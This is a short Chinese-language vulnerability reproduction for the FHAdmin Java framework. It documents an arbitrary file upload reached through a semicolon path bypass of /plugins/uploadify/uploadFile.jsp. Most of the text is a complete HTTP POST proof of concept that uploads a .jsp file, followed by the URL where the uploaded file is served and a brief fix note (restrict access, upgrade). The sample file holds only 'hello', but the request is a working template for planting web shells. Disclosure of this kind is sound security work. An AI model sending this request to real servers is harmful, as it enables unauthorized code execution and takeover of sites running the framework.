简介
FHAdmin于2014年发布,由JAVA语言编写,是集成了代码生成、权限管理等基础功能的Java快速开发框架及平台,同时为适应技术的更新的迭代,也推出了更新框架和技术架构后的版本。
漏洞复现
任意文件上传
/;/plugins/uploadify/uploadFile.jsp?uploadPath=/plugins/uploadify/ 存在任意文件上传。
poc
POST //;a/plugins/uploadify/uploadFile.jsp?uploadPath=/plugins/uploadify/ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070215 K-Ninja/2.1.1
Accept-Encoding: gzip, deflate
Accept: application/font-woff2;q=1.0,application/font-woff;q=0.9,*/*;q=0.8
Connection: close
Host: xxxx
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: http://xxxx/fh_static_1/css/style.css
Content-Length: 175
Content-Type: multipart/form-data; boundary=653e1298053b919b8c365d524e9c45b3
--653e1298053b919b8c365d524e9c45b3
Content-Disposition: form-data; name="imgFile"; filename="1.jsp"
Content-Type: image/jpeg
hello
--653e1298053b919b8c365d524e9c45b3--
使用BP检测
最后访问地址是
http://xxx//;a/plugins/uploadify/2021062512120567679.jsp
修复建议
限制访问 升级最新版本